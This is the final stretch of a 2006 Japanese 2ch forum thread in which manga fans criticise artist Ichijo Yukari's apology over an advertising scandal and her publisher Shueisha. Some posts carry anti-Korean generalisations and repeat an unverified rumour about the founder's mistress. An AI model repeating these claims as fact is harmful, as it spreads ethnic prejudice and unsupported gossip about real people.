967 :花と名無しさん:2006/08/05(土) 11:16:34 ID:???0
広告塔かツラノカワがいいなぁ。

968 :花と名無しさん :2006/08/05(土) 11:51:05 ID:???0
コーラススレっておめでたい連中
ばっかりだ。

969 :花と名無しさん:2006/08/05(土) 12:11:39 ID:???0
>>968
そういうバカな連中が今の一条ファンについてるってことでしょ。
まともなファンは悲しいよ。

970 :花と名無しさん:2006/08/05(土) 12:25:10 ID:???0
そもそもコーラススレでは一条ってそんなに人気ないから反応もあんなもんでしょ
休刊って言われたらああそう・・・みたいなw

971 :花と名無しさん:2006/08/05(土) 13:17:28 ID:???0
http://www.wolfguy.com/cgi-bin/diary/upboard.cgi?action=next&next=156

うさんくさいマンガ描いてたんですな>温帯

972 :花と名無しさん:2006/08/05(土) 13:22:47 ID:???0
だって御大の騒ぎの前から休刊の話題はあったしね
読者の方はいつ休刊でも心の準備はできてるというか
休刊が嫌なことには変わらないけど

973 :花と名無しさん:2006/08/05(土) 13:31:38 ID:???0
雑誌スレはたいていどこでも掲載してる全作家の儲みたいな住人が多いよ。
ちょっとでも「あの先生は云々」って批判がましいことを書くとアンチ呼ばわり。

974 :花と名無しさん:2006/08/05(土) 13:51:44 ID:???0
気の早い人たちがみんな新スレへ行っちゃったから、ここがなかなか埋まらないw

975 :花と名無しさん:2006/08/05(土) 13:54:47 ID:???0
あ、新スレ立ってたのね、気が付かなかった。

新スレ

【プライド迷走】一条ゆかり30【御大遁走】
http://comic6.2ch.net/test/read.cgi/gcomic/1154732776/


こっちも埋めていきませう

976 :花と名無しさん:2006/08/05(土) 14:08:35 ID:???0
これをきっかけに集英社の編集は媚韓がどれだけ危険かってことに気づいて欲しいね。
一条にむかって韓国賛美してた集英社の「えらいさん」とやらは特に。

977 :花と名無しさん:2006/08/05(土) 14:10:25 ID:???0
379 名前:花と名無しさん[sage] 投稿日:2006/07/17(月) 13:29:27 ID:???0
一条ゆかりの話は今更かもしれないが。
なんとなく書棚にあった「一条ゆかりの食生活」を読んだら

買った当時は読み飛ばしてたなあ。
こんな記述があったよ↓()は私の注釈

韓国大好き男岩ちゃん「ぼくもまた行くんですよ(韓国に)
山田さんも一緒ですし
あっちには舎弟もいますから現地で会いましょう」

てな訳で「気軽にソウル3日間」だ

集英社関係のえらいさんで通称一条の「ふぐパパ」の山田さん
年に二回はフグをおごってくれるんだ♪
山田さん「いいねえ韓国はギャンブルが出来るし。
(韓国内で)夕食僕がおごりますよ」

↑引用ここまで


そうか…集英社のえらいさんの男ども、この時点ですっかり骨抜きだったんだ…
そりゃあね…作家なんか洗脳するの簡単ね…



978 :花と名無しさん:2006/08/05(土) 14:11:38 ID:???0
>>977
>あっちには舎弟もいますから

(((( ;゚Д゚)))ガクガクブルブル

何その舎弟って…。

979 :花と名無しさん:2006/08/05(土) 14:32:01 ID:???0
だいぶ前の「噂の真相」で集英社設立時の話が出てた。
うろ覚えですまんが、社長の愛人の名前が「英子」で、
その女のご機嫌を取るのが上手い奴ばかり集められて作った会社なので
「  集   英   社  」だと冗談で言われていたとか。

980 :花と名無しさん:2006/08/05(土) 14:37:22 ID:???0
そうか、きっとその「英子」なる女が韓国人で(ry

981 :花と名無しさん:2006/08/05(土) 14:37:56 ID:???0
>>980
ww

982 :花と名無しさん:2006/08/05(土) 15:11:32 ID:???0
ほしゅー

983 :花と名無しさん:2006/08/05(土) 15:20:05 ID:???0
うめ

984 :花と名無しさん:2006/08/05(土) 15:46:41 ID:???0
うめ

985 :花と名無しさん:2006/08/05(土) 15:58:31 ID:???0
梅梅

まさかせんせーがこんな終わり方するなんて。
人生って儚いな

986 :花と名無しさん:2006/08/05(土) 16:00:47 ID:???0
あんなにアテクシワルクナイなコメントにしびれました
嘘でも頭下げろ…

987 :花と名無しさん:2006/08/05(土) 16:06:10 ID:???0
一条先生ともあろう人が山田なんぺーと同レベルの自己保身とか
自分も含めファンだったみんな(´・ω・`)カワイソス
つーかもう、一条を心配なんかしてねーしww

988 :花と名無しさん:2006/08/05(土) 16:12:52 ID:???0
んだ。
御大はもう少し潔くかっこよいかと思ってた。

「はからずも広告塔になってしまったわ。読者の皆さんごめん」
系の姉御風すっぱり謝罪か、
「悪くないもん!訴えてやるわ!」
系の狂犬風味の悪あがきじゃないと。

こんな中途半端でツッコミどころ満載な言い訳なんて・゚・(ノД`)・゚・。

989 :花と名無しさん:2006/08/05(土) 16:13:05 ID:???0
>>986
頭下げたら、被害者に賠償しなくちゃいけないから
アテクシワルクナイなんじゃない?

990 :花と名無しさん:2006/08/05(土) 16:15:45 ID:???0
>>989
そこら辺が透けて見えるから、ますますイヤな感じの釈明なんだよね。
本当は悪いことした自覚があるくせに、裁判で負けたくないから今から
言い訳を山ほどしておこうって感じの。

991 :花と名無しさん:2006/08/05(土) 16:26:46 ID:???0
そうしてネットで状況を見守っていたファンに失望される、と。

992 :花と名無しさん:2006/08/05(土) 16:30:35 ID:???0
あのコメントを読んでホッとしたり擁護してる人もいるみたいだから
あのコメントで騙されるファンも意外と多いんだねぇ。
なによりあのコメントは、集英社のサイトに載ったコメントだから
集英社もあのコメントで良しとしてるわけでしょう?
集英社の腐りっぷりもよくわかる。

993 :花と名無しさん:2006/08/05(土) 17:08:18 ID:???0
ほしゅ

994 :花と名無しさん:2006/08/05(土) 17:22:07 ID:???0
一条のプライド埋め


995 :花と名無しさん:2006/08/05(土) 17:23:15 ID:???0
一条のプライドが産んだ悲劇


996 :花と名無しさん:2006/08/05(土) 17:23:46 ID:???0
産め




997 :花と名無しさん:2006/08/05(土) 17:25:45 ID:???0
スレ消滅


998 :花と名無しさん:2006/08/05(土) 17:26:17 ID:???0
うめ

999 :花と名無しさん:2006/08/05(土) 17:26:34 ID:???0
栄光も消滅

1000 :花と名無しさん:2006/08/05(土) 17:27:33 ID:???0
逃げるな 一条


1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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